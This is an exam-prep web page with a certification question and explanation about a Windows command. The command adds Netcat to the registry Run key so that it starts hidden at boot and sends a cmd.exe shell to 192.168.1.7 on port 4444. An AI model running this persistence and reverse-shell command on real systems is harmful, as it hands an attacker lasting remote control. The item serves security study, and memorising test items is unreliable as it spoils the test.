PrepAway - Latest Free Exam Questions & Answers

What task do you want to perform by running this command?

You run the following command on the remote Windows server 2003 computer:
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d
“c:\windows\nc.exe -d 192.168.1.7 4444 -e
cmd.exe”
What task do you want to perform by running this command?Each correct answer represents a
complete solution. Choose all that apply.

PrepAway - Latest Free Exam Questions & Answers

A.
You want to perform banner grabbing.

B.
You want to put Netcat in the stealth mode.

C.
You want to add the Netcat command to the Windows registry.

D.
You want to set the Netcat to execute command any time.

Explanation:

According to the question, you run the following command on the remote Windows server 2003
computer:
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d
“c:\windows\nc.exe -d 192.168.1.7 4444 -e
cmd.exe”
By running this command, you want to perform the following tasks:
Adding the NetCat command in the following registry value:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Putting the Netcat in the stealth mode by using the -d switch. Setting the Netcat tool to execute
command at any time by using the -e switch.
Answer option A is incorrect. You can perform banner grabbing by simply running the nc <host>
<port>.


Leave a Reply